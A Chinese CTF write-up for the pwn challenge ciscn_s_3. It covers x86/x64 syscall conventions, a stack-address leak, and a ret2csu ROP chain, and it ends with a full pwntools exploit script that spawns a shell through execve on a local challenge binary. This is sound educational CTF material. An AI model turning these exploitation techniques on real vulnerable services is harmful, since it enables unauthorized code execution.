1. 程式人生 > 其它 >write up--ciscn_s_3

write up--ciscn_s_3

ciscn的一到真題,這題也是一道比較有意思的題目,雖然給出的漏洞非常的明顯是棧溢位,但是我們要想拿到shell卻不是那麼簡單的。

前置知識

這一題涉及到了一些系統呼叫的知識,那談到系統呼叫我們也要知道,x86和x32位的系統呼叫時有很大的區別的,當時在學習pwn基礎的時候,我也只是學習到了一些x86下的系統呼叫ROP,但是很不巧這一題是x64位的題目,所以不能直接使用x86的方法。

x86&x64系統呼叫的區別

1.傳參方式不同

2.系統呼叫號不同

3.呼叫方式不同

x86

傳參方式:首先將系統呼叫號 傳入 eax,然後將引數 從左到右 依次存入 ebx,ecx,edx暫存器中,返回值存在eax暫存器

  呼叫號:sys_read 的呼叫號為3, sys_write 的呼叫號為 4,execve的呼叫號是0xb也就是11.

  呼叫方式: 使用 int 80h 中斷進行系統呼叫

x64

傳參方式:首先將系統呼叫號 傳入 rax,然後將引數從左到右依次存入 rdi,rsi,rdx暫存器中,返回值存在rax暫存器

呼叫號:sys_read 的呼叫號為0,sys_write 的呼叫號 為1

stub_execve 的呼叫號為59,stub_rt_sigreturn 的呼叫號為15

呼叫方式: 使用 syscall 進行系統呼叫

有了這些前置知識我們再來看這一題

分析

可以看到64位小端,而且開啟了棧不可執行的保護。

可以清楚的看到存在棧溢位漏洞
漏洞點是一眼就能看出來,但是卻沒有很好的方法能拿到shell。

我們沒有後門函式也沒有函式可以利用來洩漏libc資訊

但是該程式還有出題者自己定義的函式

這樣看是看不出來有什麼可以利用的點,我們來看它的彙編程式碼。

可以看到該函式其實呼叫了呼叫號為15的系統呼叫函式,呼叫號為15的系統呼叫正好也是上面我們講到的stub_rt_sigreturn函式

在該函式的下方可以看到,有一個mov rax,3B ,0x3B即59,與59對應的系統呼叫函式就是stub_execve,這個函式使我們可以使用的函式,我們可以使用execve("/bin/sh",0,0),來拿到shell。

所以我們還缺少"/bin/sh",和一些可以控制rax,rid等暫存器的指令,因為我們要執行execve(“/bin/sh”,0,0)
大概的佈局是這樣的
rax=59
rdi=“/bin/sh”
rsi=0
rdx=0
syscall

缺少的"/bin/sh"我們可以利用vuln函式

因為該函式最後在列印我們的輸入的時候,列印0x30個位元組,而buf只能放下0x10個位元組,也就是說它會多列印0x20個位元組。


經過動態除錯可以看到0x7fffffffdf40是存放我們輸入的地址,那vuln函式就能列印到
0x7fffffffdf60,而這個地址裡儲存的值還是一個地址,而且是棧上的地址,在之前的
學習中也應該知道,目標主機一定是開啟ASLR保護的,所以每次載入記憶體的地址是不一
樣的,但是我們卻可以計算偏移量找到我們的輸入所在的地址值,這樣"/bin/sh"的問題
就解決了。

偏移=0xe058-0xdf40=280

那我們現在還缺的就是pop rbx,pop rdi,pop rsi等指令
這些指令可以在,__libc_csu_init中進行尋找,

雖然沒有直接的pop rbx,pop rdi,pop rsi等指令可以使用,但是我們可以利用多條指令來實現相同的功能

這兩張圖裡的指令結合進行使用就可以達到想要的效果。
先pop rbx,rbp,r12,r13,r14,r15,在用mov rdx,r13 mov rsi,r14等指令將剛剛pop的暫存器的值賦給rdx,rsi等實現我們想要的功能。

還有一些值的注意的細節就是,mov edi,r15這條指令edi只有四個位元組,而我們rdi裡將要儲存的是"/bin/sh",所以這條指令是不滿足我們的功能的,所以我們還得重新尋找一個pop rdi,這裡我們使用ROPgadget工具

可以看到剛好0x00000000004005a3符合要求

編寫exp

from pwn import *

io=process("./ciscn_s_3")

main_addr=0x00000000004004ED
sys_execve_addr=0x00000000004004E2
pop_addr=0x000000000040059A
mov_rdx_addr=0x0000000000400580
pop_rdi_addr=0x00000000004005a3
syscall_addr=0x0000000000400517
payload1=b"/bin/sh\x00"*2+p64(main_addr)
io.sendline(payload1)
io.recv(0x20)
binsh_addr=u64(io.recv(8))-280

payload2=b"/bin/sh\x00"*2+p64(pop_addr)+p64(0)*2+p64(binsh_addr+0x50)+p64(0)*3+p64(mov_rdx_addr)+p64(sys_execve_addr)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(syscall_addr)

io.sendline(payload2)

io.interactive()

payload的注意項

這裡的p64(binsh_addr+0x50)為什麼要加上0x50

這串程式碼對應的就是call r12裡的r12,可以看到這串指令的結尾是沒有ret的,這樣我們就接不上後面的指令,也就無法完成我們的攻擊。

這裡加上0x50指向的地址正好是

call呼叫一個函式後進行ret,成功的接上後面的操作,也就能成功的執行攻擊拿到shell。